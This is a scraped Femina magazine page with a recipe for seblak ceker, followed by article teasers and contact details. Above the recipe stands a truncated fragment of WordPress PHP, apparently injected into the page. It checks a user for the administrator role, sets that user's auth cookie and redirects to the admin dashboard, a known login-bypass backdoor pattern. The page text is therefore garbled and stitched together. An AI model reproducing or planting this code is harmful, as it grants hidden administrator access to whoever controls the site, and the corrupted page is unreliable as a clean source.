Seblak Ceker

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Ayam & Bebek

Seblak Ceker

11 Apr 2016

Populer sebagai jajanan kaki lima di Bandung, berupa kerupuk ikan atau kerupuk bawang yang dimasak dengan kuah (versi basah) dan ditumis (versi kering).

Bahan:
12 buah ceker ayam
1½ l air
3 siung bawang putih, memarkan
1 sdt garam
200 g kerupuk bawang
2 sdm minyak sayur, untuk menumis
2 butir telur ayam, kocok lepas
½ batang bawang daun, iris tipis

Bumbu, haluskan:
6 siung bawang putih
5 buah cabai rawit merah
2 buah cabai merah keriting
1 butir kemiri
1 cm kencur
½ sdt garam
¼ sdt merica putih bubuk
¼ sdt gula pasir

Taburan:
Chili flakes
Bawang putih goreng

Cara Membuat:
1.   Rebus ceker, air, bawang putih, dan garam hingga empuk (± 30 menit). Angkat, saring kaldunya.

2.   Rebus kerupuk ke dalam air rebusan ceker hingga lunak (± 5 menit). Angkat, tiriskan.

3.   Panaskan minyak, tumis bumbu halus hingga matang. Masukkan telur kocok, aduk cepat hingga rata.

4.   Masukkan kerupuk, ceker ayam, dan 30 ml kaldu. Masak di atas api sedang hingga kuah menyusut (± 5 menit).

5.   Tambahkan bawang daun iris, aduk rata. Angkat. Beri bahan taburan. Sajikan hangat. (f)

Untuk 4 porsi

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id